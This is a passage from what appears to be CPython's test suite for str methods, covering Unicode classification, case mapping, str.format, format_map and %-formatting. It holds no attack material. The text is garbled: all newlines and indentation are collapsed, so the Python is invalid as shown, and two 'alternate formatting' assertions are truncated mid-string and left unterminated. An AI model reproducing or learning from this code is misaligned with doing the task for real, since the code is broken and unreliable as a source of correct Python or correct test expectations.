alnum.'.format(ch)) def test_isalpha(self): super().test_isalpha() self.checkequalnofix(True, '\u1FFc', 'isalpha') self.assertTrue('\U00010401'.isalpha()) self.assertTrue('\U00010427'.isalpha()) self.assertTrue('\U00010429'.isalpha()) self.assertTrue('\U0001044E'.isalpha()) self.assertFalse('\U0001F40D'.isalpha()) self.assertFalse('\U0001F46F'.isalpha()) def test_isdecimal(self): self.checkequalnofix(False, '', 'isdecimal') self.checkequalnofix(False, 'a', 'isdecimal') self.checkequalnofix(True, '0', 'isdecimal') self.checkequalnofix(False, '\u2460', 'isdecimal') self.checkequalnofix(False, '\xbc', 'isdecimal') self.checkequalnofix(True, '\u0660', 'isdecimal') self.checkequalnofix(True, '0123456789', 'isdecimal') self.checkequalnofix(False, '0123456789a', 'isdecimal') self.checkraises(TypeError, 'abc', 'isdecimal', 42) for ch in ['\U00010401', '\U00010427', '\U00010429', '\U0001044E', '\U0001F40D', '\U0001F46F', '\U00011065', '\U0001F107']: self.assertFalse(ch.isdecimal(), '{!a} is not decimal.'.format(ch)) for ch in ['\U0001D7F6', '\U00011066', '\U000104A0']: self.assertTrue(ch.isdecimal(), '{!a} is decimal.'.format(ch)) def test_isdigit(self): super().test_isdigit() self.checkequalnofix(True, '\u2460', 'isdigit') self.checkequalnofix(False, '\xbc', 'isdigit') self.checkequalnofix(True, '\u0660', 'isdigit') for ch in ['\U00010401', '\U00010427', '\U00010429', '\U0001044E', '\U0001F40D', '\U0001F46F', '\U00011065']: self.assertFalse(ch.isdigit(), '{!a} is not a digit.'.format(ch)) for ch in ['\U0001D7F6', '\U00011066', '\U000104A0', '\U0001F107']: self.assertTrue(ch.isdigit(), '{!a} is a digit.'.format(ch)) def test_isnumeric(self): self.checkequalnofix(False, '', 'isnumeric') self.checkequalnofix(False, 'a', 'isnumeric') self.checkequalnofix(True, '0', 'isnumeric') self.checkequalnofix(True, '\u2460', 'isnumeric') self.checkequalnofix(True, '\xbc', 'isnumeric') self.checkequalnofix(True, '\u0660', 'isnumeric') self.checkequalnofix(True, '0123456789', 'isnumeric') self.checkequalnofix(False, '0123456789a', 'isnumeric') self.assertRaises(TypeError, "abc".isnumeric, 42) for ch in ['\U00010401', '\U00010427', '\U00010429', '\U0001044E', '\U0001F40D', '\U0001F46F']: self.assertFalse(ch.isnumeric(), '{!a} is not numeric.'.format(ch)) for ch in ['\U00011065', '\U0001D7F6', '\U00011066', '\U000104A0', '\U0001F107']: self.assertTrue(ch.isnumeric(), '{!a} is numeric.'.format(ch)) def test_isidentifier(self): self.assertTrue("a".isidentifier()) self.assertTrue("Z".isidentifier()) self.assertTrue("_".isidentifier()) self.assertTrue("b0".isidentifier()) self.assertTrue("bc".isidentifier()) self.assertTrue("b_".isidentifier()) self.assertTrue("µ".isidentifier()) self.assertTrue("𝔘𝔫𝔦𝔠𝔬𝔡𝔢".isidentifier()) self.assertFalse(" ".isidentifier()) self.assertFalse("[".isidentifier()) self.assertFalse("©".isidentifier()) self.assertFalse("0".isidentifier()) def test_isprintable(self): self.assertTrue("".isprintable()) self.assertTrue(" ".isprintable()) self.assertTrue("abcdefg".isprintable()) self.assertFalse("abcdefg\n".isprintable()) self.assertTrue("\u0374".isprintable()) self.assertFalse("\u0378".isprintable()) self.assertFalse("\ud800".isprintable()) self.assertTrue('\U0001F46F'.isprintable()) self.assertFalse('\U000E0020'.isprintable()) def test_surrogates(self): for s in ('a\uD800b\uDFFF', 'a\uDFFFb\uD800', 'a\uD800b\uDFFFa', 'a\uDFFFb\uD800a'): self.assertTrue(s.islower()) self.assertFalse(s.isupper()) self.assertFalse(s.istitle()) for s in ('A\uD800B\uDFFF', 'A\uDFFFB\uD800', 'A\uD800B\uDFFFA', 'A\uDFFFB\uD800A'): self.assertFalse(s.islower()) self.assertTrue(s.isupper()) self.assertTrue(s.istitle()) for meth_name in ('islower', 'isupper', 'istitle'): meth = getattr(str, meth_name) for s in ('\uD800', '\uDFFF', '\uD800\uD800', '\uDFFF\uDFFF'): self.assertFalse(meth(s), '%a.%s() is False' % (s, meth_name)) for meth_name in ('isalpha', 'isalnum', 'isdigit', 'isspace', 'isdecimal', 'isnumeric', 'isidentifier', 'isprintable'): meth = getattr(str, meth_name) for s in ('\uD800', '\uDFFF', '\uD800\uD800', '\uDFFF\uDFFF', 'a\uD800b\uDFFF', 'a\uDFFFb\uD800', 'a\uD800b\uDFFFa', 'a\uDFFFb\uD800a'): self.assertFalse(meth(s), '%a.%s() is False' % (s, meth_name)) def test_lower(self): string_tests.CommonTest.test_lower(self) self.assertEqual('\U00010427'.lower(), '\U0001044F') self.assertEqual('\U00010427\U00010427'.lower(), '\U0001044F\U0001044F') self.assertEqual('\U00010427\U0001044F'.lower(), '\U0001044F\U0001044F') self.assertEqual('X\U00010427x\U0001044F'.lower(), 'x\U0001044Fx\U0001044F') self.assertEqual('ﬁ'.lower(), 'ﬁ') self.assertEqual('\u0130'.lower(), '\u0069\u0307') self.assertEqual('\u03a3'.lower(), '\u03c3') self.assertEqual('\u0345\u03a3'.lower(), '\u0345\u03c3') self.assertEqual('A\u0345\u03a3'.lower(), 'a\u0345\u03c2') self.assertEqual('A\u0345\u03a3a'.lower(), 'a\u0345\u03c3a') self.assertEqual('A\u0345\u03a3'.lower(), 'a\u0345\u03c2') self.assertEqual('A\u03a3\u0345'.lower(), 'a\u03c2\u0345') self.assertEqual('\u03a3\u0345 '.lower(), '\u03c3\u0345 ') self.assertEqual('\U0008fffe'.lower(), '\U0008fffe') self.assertEqual('\u2177'.lower(), '\u2177') def test_casefold(self): self.assertEqual('hello'.casefold(), 'hello') self.assertEqual('hELlo'.casefold(), 'hello') self.assertEqual('ß'.casefold(), 'ss') self.assertEqual('ﬁ'.casefold(), 'fi') self.assertEqual('\u03a3'.casefold(), '\u03c3') self.assertEqual('A\u0345\u03a3'.casefold(), 'a\u03b9\u03c3') self.assertEqual('\u00b5'.casefold(), '\u03bc') def test_upper(self): string_tests.CommonTest.test_upper(self) self.assertEqual('\U0001044F'.upper(), '\U00010427') self.assertEqual('\U0001044F\U0001044F'.upper(), '\U00010427\U00010427') self.assertEqual('\U00010427\U0001044F'.upper(), '\U00010427\U00010427') self.assertEqual('X\U00010427x\U0001044F'.upper(), 'X\U00010427X\U00010427') self.assertEqual('ﬁ'.upper(), 'FI') self.assertEqual('\u0130'.upper(), '\u0130') self.assertEqual('\u03a3'.upper(), '\u03a3') self.assertEqual('ß'.upper(), 'SS') self.assertEqual('\u1fd2'.upper(), '\u0399\u0308\u0300') self.assertEqual('\U0008fffe'.upper(), '\U0008fffe') self.assertEqual('\u2177'.upper(), '\u2167') def test_capitalize(self): string_tests.CommonTest.test_capitalize(self) self.assertEqual('\U0001044F'.capitalize(), '\U00010427') self.assertEqual('\U0001044F\U0001044F'.capitalize(), '\U00010427\U0001044F') self.assertEqual('\U00010427\U0001044F'.capitalize(), '\U00010427\U0001044F') self.assertEqual('\U0001044F\U00010427'.capitalize(), '\U00010427\U0001044F') self.assertEqual('X\U00010427x\U0001044F'.capitalize(), 'X\U0001044Fx\U0001044F') self.assertEqual('h\u0130'.capitalize(), 'H\u0069\u0307') exp = '\u0399\u0308\u0300\u0069\u0307' self.assertEqual('\u1fd2\u0130'.capitalize(), exp) self.assertEqual('ﬁnnish'.capitalize(), 'FInnish') self.assertEqual('A\u0345\u03a3'.capitalize(), 'A\u0345\u03c2') def test_title(self): super().test_title() self.assertEqual('\U0001044F'.title(), '\U00010427') self.assertEqual('\U0001044F\U0001044F'.title(), '\U00010427\U0001044F') self.assertEqual('\U0001044F\U0001044F \U0001044F\U0001044F'.title(), '\U00010427\U0001044F \U00010427\U0001044F') self.assertEqual('\U00010427\U0001044F \U00010427\U0001044F'.title(), '\U00010427\U0001044F \U00010427\U0001044F') self.assertEqual('\U0001044F\U00010427 \U0001044F\U00010427'.title(), '\U00010427\U0001044F \U00010427\U0001044F') self.assertEqual('X\U00010427x\U0001044F X\U00010427x\U0001044F'.title(), 'X\U0001044Fx\U0001044F X\U0001044Fx\U0001044F') self.assertEqual('ﬁNNISH'.title(), 'Finnish') self.assertEqual('A\u03a3 \u1fa1xy'.title(), 'A\u03c2 \u1fa9xy') self.assertEqual('A\u03a3A'.title(), 'A\u03c3a') def test_swapcase(self): string_tests.CommonTest.test_swapcase(self) self.assertEqual('\U0001044F'.swapcase(), '\U00010427') self.assertEqual('\U00010427'.swapcase(), '\U0001044F') self.assertEqual('\U0001044F\U0001044F'.swapcase(), '\U00010427\U00010427') self.assertEqual('\U00010427\U0001044F'.swapcase(), '\U0001044F\U00010427') self.assertEqual('\U0001044F\U00010427'.swapcase(), '\U00010427\U0001044F') self.assertEqual('X\U00010427x\U0001044F'.swapcase(), 'x\U0001044FX\U00010427') self.assertEqual('ﬁ'.swapcase(), 'FI') self.assertEqual('\u0130'.swapcase(), '\u0069\u0307') self.assertEqual('\u03a3'.swapcase(), '\u03c3') self.assertEqual('\u0345\u03a3'.swapcase(), '\u0399\u03c3') self.assertEqual('A\u0345\u03a3'.swapcase(), 'a\u0399\u03c2') self.assertEqual('A\u0345\u03a3a'.swapcase(), 'a\u0399\u03c3A') self.assertEqual('A\u0345\u03a3'.swapcase(), 'a\u0399\u03c2') self.assertEqual('A\u03a3\u0345'.swapcase(), 'a\u03c2\u0399') self.assertEqual('\u03a3\u0345 '.swapcase(), '\u03c3\u0399 ') self.assertEqual('\u03a3'.swapcase(), '\u03c3') self.assertEqual('ß'.swapcase(), 'SS') self.assertEqual('\u1fd2'.swapcase(), '\u0399\u0308\u0300') def test_center(self): string_tests.CommonTest.test_center(self) self.assertEqual('x'.center(2, '\U0010FFFF'), 'x\U0010FFFF') self.assertEqual('x'.center(3, '\U0010FFFF'), '\U0010FFFFx\U0010FFFF') self.assertEqual('x'.center(4, '\U0010FFFF'), '\U0010FFFFx\U0010FFFF\U0010FFFF') @unittest.skipUnless(sys.maxsize == 2**31 - 1, "requires 32-bit system") @support.cpython_only def test_case_operation_overflow(self): size = 2**32//12 + 1 try: s = "ü" * size except MemoryError: self.skipTest('no enough memory (%.0f MiB required)' % (size / 2**20)) try: self.assertRaises(OverflowError, s.upper) finally: del s def test_contains(self): self.assertIn('a', 'abdb') self.assertIn('a', 'bdab') self.assertIn('a', 'bdaba') self.assertIn('a', 'bdba') self.assertNotIn('a', 'bdb') self.assertIn('a', 'bdba') self.assertIn('a', ('a',1,None)) self.assertIn('a', (1,None,'a')) self.assertIn('a', ('a',1,None)) self.assertIn('a', (1,None,'a')) self.assertNotIn('a', ('x',1,'y')) self.assertNotIn('a', ('x',1,None)) self.assertNotIn('abcd', 'abcxxxx') self.assertIn('ab', 'abcd') self.assertIn('ab', 'abc') self.assertIn('ab', (1,None,'ab')) self.assertIn('', 'abc') self.assertIn('', '') self.assertIn('', 'abc') self.assertNotIn('\0', 'abc') self.assertIn('\0', '\0abc') self.assertIn('\0', 'abc\0') self.assertIn('a', '\0abc') self.assertIn('asdf', 'asdf') self.assertNotIn('asdf', 'asd') self.assertNotIn('asdf', '') self.assertRaises(TypeError, "abc".__contains__) for fill in ('a', '\u0100', '\U00010300'): fill *= 9 for delim in ('c', '\u0102', '\U00010302'): self.assertNotIn(delim, fill) self.assertIn(delim, fill + delim) self.assertNotIn(delim * 2, fill) self.assertIn(delim * 2, fill + delim * 2) def test_issue18183(self): '\U00010000\U00100000'.lower() '\U00010000\U00100000'.casefold() '\U00010000\U00100000'.upper() '\U00010000\U00100000'.capitalize() '\U00010000\U00100000'.title() '\U00010000\U00100000'.swapcase() '\U00100000'.center(3, '\U00010000') '\U00100000'.ljust(3, '\U00010000') '\U00100000'.rjust(3, '\U00010000') def test_format(self): self.assertEqual(''.format(), '') self.assertEqual('a'.format(), 'a') self.assertEqual('ab'.format(), 'ab') self.assertEqual('a{{'.format(), 'a{') self.assertEqual('a}}'.format(), 'a}') self.assertEqual('{{b'.format(), '{b') self.assertEqual('}}b'.format(), '}b') self.assertEqual('a{{b'.format(), 'a{b') import datetime self.assertEqual("My name is {0}".format('Fred'), "My name is Fred") self.assertEqual("My name is {0[name]}".format(dict(name='Fred')), "My name is Fred") self.assertEqual("My name is {0} :-{{}}".format('Fred'), "My name is Fred :-{}") d = datetime.date(2007, 8, 18) self.assertEqual("The year is {0.year}".format(d), "The year is 2007") class C: def __init__(self, x=100): self._x = x def __format__(self, spec): return spec class D: def __init__(self, x): self.x = x def __format__(self, spec): return str(self.x) # class with __str__, but no __format__ class E: def __init__(self, x): self.x = x def __str__(self): return 'E(' + self.x + ')' # class with __repr__, but no __format__ or __str__ class F: def __init__(self, x): self.x = x def __repr__(self): return 'F(' + self.x + ')' # class with __format__ that forwards to string, for some format_spec's class G: def __init__(self, x): self.x = x def __str__(self): return "string is " + self.x def __format__(self, format_spec): if format_spec == 'd': return 'G(' + self.x + ')' return object.__format__(self, format_spec) class I(datetime.date): def __format__(self, format_spec): return self.strftime(format_spec) class J(int): def __format__(self, format_spec): return int.__format__(self * 2, format_spec) class M: def __init__(self, x): self.x = x def __repr__(self): return 'M(' + self.x + ')' __str__ = None class N: def __init__(self, x): self.x = x def __repr__(self): return 'N(' + self.x + ')' __format__ = None self.assertEqual(''.format(), '') self.assertEqual('abc'.format(), 'abc') self.assertEqual('{0}'.format('abc'), 'abc') self.assertEqual('{0:}'.format('abc'), 'abc') self.assertEqual('X{0}'.format('abc'), 'Xabc') self.assertEqual('{0}X'.format('abc'), 'abcX') self.assertEqual('X{0}Y'.format('abc'), 'XabcY') self.assertEqual('{1}'.format(1, 'abc'), 'abc') self.assertEqual('X{1}'.format(1, 'abc'), 'Xabc') self.assertEqual('{1}X'.format(1, 'abc'), 'abcX') self.assertEqual('X{1}Y'.format(1, 'abc'), 'XabcY') self.assertEqual('{0}'.format(-15), '-15') self.assertEqual('{0}{1}'.format(-15, 'abc'), '-15abc') self.assertEqual('{0}X{1}'.format(-15, 'abc'), '-15Xabc') self.assertEqual('{{'.format(), '{') self.assertEqual('}}'.format(), '}') self.assertEqual('{{}}'.format(), '{}') self.assertEqual('{{x}}'.format(), '{x}') self.assertEqual('{{{0}}}'.format(123), '{123}') self.assertEqual('{{{{0}}}}'.format(), '{{0}}') self.assertEqual('}}{{'.format(), '}{') self.assertEqual('}}x{{'.format(), '}x{') self.assertEqual("{0[foo-bar]}".format({'foo-bar':'baz'}), 'baz') self.assertEqual("{0[foo bar]}".format({'foo bar':'baz'}), 'baz') self.assertEqual("{0[ ]}".format({' ':3}), '3') self.assertEqual('{foo._x}'.format(foo=C(20)), '20') self.assertEqual('{1}{0}'.format(D(10), D(20)), '2010') self.assertEqual('{0._x.x}'.format(C(D('abc'))), 'abc') self.assertEqual('{0[0]}'.format(['abc', 'def']), 'abc') self.assertEqual('{0[1]}'.format(['abc', 'def']), 'def') self.assertEqual('{0[1][0]}'.format(['abc', ['def']]), 'def') self.assertEqual('{0[1][0].x}'.format(['abc', [D('def')]]), 'def') self.assertEqual('{0:.3s}'.format('abc'), 'abc') self.assertEqual('{0:.3s}'.format('ab'), 'ab') self.assertEqual('{0:.3s}'.format('abcdef'), 'abc') self.assertEqual('{0:.0s}'.format('abcdef'), '') self.assertEqual('{0:3.3s}'.format('abc'), 'abc') self.assertEqual('{0:2.3s}'.format('abc'), 'abc') self.assertEqual('{0:2.2s}'.format('abc'), 'ab') self.assertEqual('{0:3.2s}'.format('abc'), 'ab ') self.assertEqual('{0:x<0s}'.format('result'), 'result') self.assertEqual('{0:x<5s}'.format('result'), 'result') self.assertEqual('{0:x<6s}'.format('result'), 'result') self.assertEqual('{0:x<7s}'.format('result'), 'resultx') self.assertEqual('{0:x<8s}'.format('result'), 'resultxx') self.assertEqual('{0: <7s}'.format('result'), 'result ') self.assertEqual('{0:<7s}'.format('result'), 'result ') self.assertEqual('{0:>7s}'.format('result'), ' result') self.assertEqual('{0:>8s}'.format('result'), ' result') self.assertEqual('{0:^8s}'.format('result'), ' result ') self.assertEqual('{0:^9s}'.format('result'), ' result ') self.assertEqual('{0:^10s}'.format('result'), ' result ') self.assertEqual('{0:10000}'.format('a'), 'a' + ' ' * 9999) self.assertEqual('{0:10000}'.format(''), ' ' * 10000) self.assertEqual('{0:10000000}'.format(''), ' ' * 10000000) self.assertEqual('{0:\x00<6s}'.format('foo'), 'foo\x00\x00\x00') self.assertEqual('{0:\x01<6s}'.format('foo'), 'foo\x01\x01\x01') self.assertEqual('{0:\x00^6s}'.format('foo'), '\x00foo\x00\x00') self.assertEqual('{0:^6s}'.format('foo'), ' foo ') self.assertEqual('{0:\x00<6}'.format(3), '3\x00\x00\x00\x00\x00') self.assertEqual('{0:\x01<6}'.format(3), '3\x01\x01\x01\x01\x01') self.assertEqual('{0:\x00^6}'.format(3), '\x00\x003\x00\x00\x00') self.assertEqual('{0:<6}'.format(3), '3 ') self.assertEqual('{0:\x00<6}'.format(3.14), '3.14\x00\x00') self.assertEqual('{0:\x01<6}'.format(3.14), '3.14\x01\x01') self.assertEqual('{0:\x00^6}'.format(3.14), '\x003.14\x00') self.assertEqual('{0:^6}'.format(3.14), ' 3.14 ') self.assertEqual('{0:\x00<12}'.format(3+2.0j), '(3+2j)\x00\x00\x00\x00\x00\x00') self.assertEqual('{0:\x01<12}'.format(3+2.0j), '(3+2j)\x01\x01\x01\x01\x01\x01') self.assertEqual('{0:\x00^12}'.format(3+2.0j), '\x00\x00\x00(3+2j)\x00\x00\x00') self.assertEqual('{0:^12}'.format(3+2.0j), ' (3+2j) ') self.assertEqual('{0:abc}'.format(C()), 'abc') self.assertEqual('{0!s}'.format('Hello'), 'Hello') self.assertEqual('{0!s:}'.format('Hello'), 'Hello') self.assertEqual('{0!s:15}'.format('Hello'), 'Hello ') self.assertEqual('{0!s:15s}'.format('Hello'), 'Hello ') self.assertEqual('{0!r}'.format('Hello'), "'Hello'") self.assertEqual('{0!r:}'.format('Hello'), "'Hello'") self.assertEqual('{0!r}'.format(F('Hello')), 'F(Hello)') self.assertEqual('{0!r}'.format('\u0378'), "'\\u0378'") self.assertEqual('{0!r}'.format('\u0374'), "'\u0374'") self.assertEqual('{0!r}'.format(F('\u0374')), 'F(\u0374)') self.assertEqual('{0!a}'.format('Hello'), "'Hello'") self.assertEqual('{0!a}'.format('\u0378'), "'\\u0378'") self.assertEqual('{0!a}'.format('\u0374'), "'\\u0374'") self.assertEqual('{0!a:}'.format('Hello'), "'Hello'") self.assertEqual('{0!a}'.format(F('Hello')), 'F(Hello)') self.assertEqual('{0!a}'.format(F('\u0374')), 'F(\\u0374)') self.assertEqual('{0}'.format({}), '{}') self.assertEqual('{0}'.format([]), '[]') self.assertEqual('{0}'.format([1]), '[1]') self.assertEqual('{0:d}'.format(G('data')), 'G(data)') self.assertEqual('{0!s}'.format(G('data')), 'string is data') self.assertRaises(TypeError, '{0:^10}'.format, E('data')) self.assertRaises(TypeError, '{0:^10s}'.format, E('data')) self.assertRaises(TypeError, '{0:>15s}'.format, G('data')) self.assertEqual("{0:date: %Y-%m-%d}".format(I(year=2007, month=8, day=27)), "date: 2007-08-27") self.assertEqual("{0}".format(J(10)), "20") self.assertEqual('{0:}'.format('a'), 'a') self.assertEqual("{0:.{1}}".format('hello world', 5), 'hello') self.assertEqual("{0:.{1}s}".format('hello world', 5), 'hello') self.assertEqual("{0:.{precision}s}".format('hello world', precision=5), 'hello') self.assertEqual("{0:{width}.{precision}s}".format('hello world', width=10, precision=5), 'hello ') self.assertEqual("{0:{width}.{precision}s}".format('hello world', width='10', precision='5'), 'hello ') self.assertRaises(ValueError, '{'.format) self.assertRaises(ValueError, '}'.format) self.assertRaises(ValueError, 'a{'.format) self.assertRaises(ValueError, 'a}'.format) self.assertRaises(ValueError, '{a'.format) self.assertRaises(ValueError, '}a'.format) self.assertRaises(IndexError, '{0}'.format) self.assertRaises(IndexError, '{1}'.format, 'abc') self.assertRaises(KeyError, '{x}'.format) self.assertRaises(ValueError, "}{".format) self.assertRaises(ValueError, "abc{0:{}".format) self.assertRaises(ValueError, "{0".format) self.assertRaises(IndexError, "{0.}".format) self.assertRaises(ValueError, "{0.}".format, 0) self.assertRaises(ValueError, "{0[}".format) self.assertRaises(ValueError, "{0[}".format, []) self.assertRaises(KeyError, "{0]}".format) self.assertRaises(ValueError, "{0.[]}".format, 0) self.assertRaises(ValueError, "{0..foo}".format, 0) self.assertRaises(ValueError, "{0[0}".format, 0) self.assertRaises(ValueError, "{0[0:foo}".format, 0) self.assertRaises(KeyError, "{c]}".format) self.assertRaises(ValueError, "{{ {{{0}}".format, 0) self.assertRaises(ValueError, "{0}}".format, 0) self.assertRaises(KeyError, "{foo}".format, bar=3) self.assertRaises(ValueError, "{0!x}".format, 3) self.assertRaises(ValueError, "{0!}".format, 0) self.assertRaises(ValueError, "{0!rs}".format, 0) self.assertRaises(ValueError, "{!}".format) self.assertRaises(IndexError, "{:}".format) self.assertRaises(IndexError, "{:s}".format) self.assertRaises(IndexError, "{}".format) big = "23098475029384702983476098230754973209482573" self.assertRaises(ValueError, ("{" + big + "}").format) self.assertRaises(ValueError, ("{[" + big + "]}").format, [0]) self.assertRaises(ValueError, "{0[0]x}".format, [None]) self.assertRaises(ValueError, "{0[0](10)}".format, [None]) self.assertRaises(TypeError, '{0[{1}]}'.format, 'abcdefg', 4) # exceed maximum recursion depth self.assertRaises(ValueError, "{0:{1:{2}}}".format, 'abc', 's', '') self.assertRaises(ValueError, "{0:{1:{2:{3:{4:{5:{6}}}}}}}".format, 0, 1, 2, 3, 4, 5, 6, 7) # string format spec errors self.assertRaises(ValueError, "{0:-s}".format, '') self.assertRaises(ValueError, format, "", "-") self.assertRaises(ValueError, "{0:=s}".format, '') # Alternate formatting is not supported self.assertRaises(ValueError, format, '', ' self.assertRaises(ValueError, format, '', ' # Non-ASCII self.assertEqual("{0:s}{1:s}".format("ABC", "\u0410\u0411\u0412"), 'ABC\u0410\u0411\u0412') self.assertEqual("{0:.3s}".format("ABC\u0410\u0411\u0412"), 'ABC') self.assertEqual("{0:.0s}".format("ABC\u0410\u0411\u0412"), '') self.assertEqual("{[{}]}".format({"{}": 5}), "5") self.assertEqual("{[{}]}".format({"{}" : "a"}), "a") self.assertEqual("{[{]}".format({"{" : "a"}), "a") self.assertEqual("{[}]}".format({"}" : "a"}), "a") self.assertEqual("{[[]}".format({"[" : "a"}), "a") self.assertEqual("{[!]}".format({"!" : "a"}), "a") self.assertRaises(ValueError, "{a{}b}".format, 42) self.assertRaises(ValueError, "{a{b}".format, 42) self.assertRaises(ValueError, "{[}".format, 42) self.assertEqual("0x{:0{:d}X}".format(0x0,16), "0x0000000000000000") # Blocking fallback m = M('data') self.assertEqual("{!r}".format(m), 'M(data)') self.assertRaises(TypeError, "{!s}".format, m) self.assertRaises(TypeError, "{}".format, m) n = N('data') self.assertEqual("{!r}".format(n), 'N(data)') self.assertEqual("{!s}".format(n), 'N(data)') self.assertRaises(TypeError, "{}".format, n) def test_format_map(self): self.assertEqual(''.format_map({}), '') self.assertEqual('a'.format_map({}), 'a') self.assertEqual('ab'.format_map({}), 'ab') self.assertEqual('a{{'.format_map({}), 'a{') self.assertEqual('a}}'.format_map({}), 'a}') self.assertEqual('{{b'.format_map({}), '{b') self.assertEqual('}}b'.format_map({}), '}b') self.assertEqual('a{{b'.format_map({}), 'a{b') # using mappings class Mapping(dict): def __missing__(self, key): return key self.assertEqual('{hello}'.format_map(Mapping()), 'hello') self.assertEqual('{a} {world}'.format_map(Mapping(a='hello')), 'hello world') class InternalMapping: def __init__(self): self.mapping = {'a': 'hello'} def __getitem__(self, key): return self.mapping[key] self.assertEqual('{a}'.format_map(InternalMapping()), 'hello') class C: def __init__(self, x=100): self._x = x def __format__(self, spec): return spec self.assertEqual('{foo._x}'.format_map({'foo': C(20)}), '20') # test various errors self.assertRaises(TypeError, ''.format_map) self.assertRaises(TypeError, 'a'.format_map) self.assertRaises(ValueError, '{'.format_map, {}) self.assertRaises(ValueError, '}'.format_map, {}) self.assertRaises(ValueError, 'a{'.format_map, {}) self.assertRaises(ValueError, 'a}'.format_map, {}) self.assertRaises(ValueError, '{a'.format_map, {}) self.assertRaises(ValueError, '}a'.format_map, {}) # issue #12579: can't supply positional params to format_map self.assertRaises(ValueError, '{}'.format_map, {'a' : 2}) self.assertRaises(ValueError, '{}'.format_map, 'a') self.assertRaises(ValueError, '{a} {}'.format_map, {"a" : 2, "b" : 1}) def test_format_huge_precision(self): format_string = ".{}f".format(sys.maxsize + 1) with self.assertRaises(ValueError): result = format(2.34, format_string) def test_format_huge_width(self): format_string = "{}f".format(sys.maxsize + 1) with self.assertRaises(ValueError): result = format(2.34, format_string) def test_format_huge_item_number(self): format_string = "{{{}:.6f}}".format(sys.maxsize + 1) with self.assertRaises(ValueError): result = format_string.format(2.34) def test_format_auto_numbering(self): class C: def __init__(self, x=100): self._x = x def __format__(self, spec): return spec self.assertEqual('{}'.format(10), '10') self.assertEqual('{:5}'.format('s'), 's ') self.assertEqual('{!r}'.format('s'), "'s'") self.assertEqual('{._x}'.format(C(10)), '10') self.assertEqual('{[1]}'.format([1, 2]), '2') self.assertEqual('{[a]}'.format({'a':4, 'b':2}), '4') self.assertEqual('a{}b{}c'.format(0, 1), 'a0b1c') self.assertEqual('a{:{}}b'.format('x', '^10'), 'a x b') self.assertEqual('a{:{}x}b'.format(20, '#'), 'a0x14b') self.assertRaises(ValueError, '{}{1}'.format, 1, 2) self.assertRaises(ValueError, '{1}{}'.format, 1, 2) self.assertRaises(ValueError, '{:{1}}'.format, 1, 2) self.assertRaises(ValueError, '{0:{}}'.format, 1, 2) # can mix and match auto-numbering and named self.assertEqual('{f}{}'.format(4, f='test'), 'test4') self.assertEqual('{}{f}'.format(4, f='test'), '4test') self.assertEqual('{:{f}}{g}{}'.format(1, 3, g='g', f=2), ' 1g3') self.assertEqual('{f:{}}{}{g}'.format(2, 4, f=1, g='g'), ' 14g') def test_formatting(self): string_tests.MixinStrUnicodeUserStringTest.test_formatting(self) # Testing Unicode formatting strings... self.assertEqual("%s, %s" % ("abc", "abc"), 'abc, abc') self.assertEqual("%s, %s, %i, %f, %5.2f" % ("abc", "abc", 1, 2, 3), 'abc, abc, 1, 2.000000, 3.00') self.assertEqual("%s, %s, %i, %f, %5.2f" % ("abc", "abc", 1, -2, 3), 'abc, abc, 1, -2.000000, 3.00') self.assertEqual("%s, %s, %i, %f, %5.2f" % ("abc", "abc", -1, -2, 3.5), 'abc, abc, -1, -2.000000, 3.50') self.assertEqual("%s, %s, %i, %f, %5.2f" % ("abc", "abc", -1, -2, 3.57), 'abc, abc, -1, -2.000000, 3.57') self.assertEqual("%s, %s, %i, %f, %5.2f" % ("abc", "abc", -1, -2, 1003.57), 'abc, abc, -1, -2.000000, 1003.57') if not sys.platform.startswith('java'): self.assertEqual("%r, %r" % (b"abc", "abc"), "b'abc', 'abc'") self.assertEqual("%r" % ("\u1234",), "'\u1234'") self.assertEqual("%a" % ("\u1234",), "'\\u1234'") self.assertEqual("%(x)s, %(y)s" % {'x':"abc", 'y':"def"}, 'abc, def') self.assertEqual("%(x)s, %(\xfc)s" % {'x':"abc", '\xfc':"def"}, 'abc, def') self.assertEqual('%c' % 0x1234, '\u1234') self.assertEqual('%c' % 0x21483, '\U00021483') self.assertRaises(OverflowError, "%c".__mod__, (0x110000,)) self.assertEqual('%c' % '\U00021483', '\U00021483') self.assertRaises(TypeError, "%c".__mod__, "aa") self.assertRaises(ValueError, "%.1\u1032f".__mod__, (1.0/3)) self.assertRaises(TypeError, "%i".__mod__, "aa") # formatting jobs delegated from the string implementation: self.assertEqual('...%(foo)s...' % {'foo':"abc"}, '...abc...') self.assertEqual('...%(foo)s...' % {'foo':"abc"}, '...abc...') self.assertEqual('...%(foo)s...' % {'foo':"abc"}, '...abc...') self.assertEqual('...%(foo)s...' % {'foo':"abc"}, '...abc...') self.assertEqual('...%(foo)s...' % {'foo':"abc",'def':123}, '...abc...') self.assertEqual('...%(foo)s...' % {'foo':"abc",'def':123}, '...abc...') self.assertEqual('...%s...%s...%s...%s...' % (1,2,3,"abc"), '...1...2...3...abc...') self.assertEqual('...%%...%%s...%s...%s...%s...%s...' % (1,2,3,"abc"), '...%...%s...1...2...3...abc...') self.assertEqual('...%s...' % "abc", '...abc...') self.assertEqual('%*s' % (5,'abc',), ' abc') self.assertEqual('%*s' % (-5,'abc',), 'abc ') self.assertEqual('%*.*s' % (5,2,'abc',), ' ab') self.assertEqual('%*.*s' % (5,3,'abc',), ' abc') self.assertEqual('%i %*.*s' % (10, 5,3,'abc',), '10 abc') self.assertEqual('%i%s %*.*s' % (10, 3, 5, 3, 'abc',), '103 abc') self.assertEqual('%c' % 'a', 'a') class Wrapper: def __str__(self): return '\u1234' self.assertEqual('%s' % Wrapper(), '\u1234') # issue 3382 NAN = float('nan') INF = float('inf') self.assertEqual('%f' % NAN, 'nan') self.assertEqual('%F' % NAN, 'NAN') self.assertEqual('%f' % INF, 'inf') self.assertEqual('%F' % INF, 'INF') # PEP 393 self.assertEqual('%.1s' % "a\xe9\u20ac", 'a') self.assertEqual('%.2s' % "a\xe9\u20ac", 'a\xe9') #issue 19995 class PseudoInt: def __init__(self, value): self.value = int(value) def __int__(self): return self.value def __index__(self): return self.value class PseudoFloat: def __init__(self, value): self.value = float(value) def __int__(self): return int(self.value) pi = PseudoFloat(3.1415) letter_m = PseudoInt(109) self.assertEqual('%x' % 42, '2a') self.assertEqual('%X' % 15, 'F') self.assertEqual('%o' % 9, '11') self.assertEqual('%c' % 109, 'm') self.assertEqual('%x' % letter_m, '6d') self.assertEqual('%X' % letter_m, '6D') self.assertEqual('%o' % letter_m, '155') self.assertEqual('%c' % letter_m, 'm') self.assertRaisesRegex(TypeError, '%x format: an integer is required, not float', operator.mod, 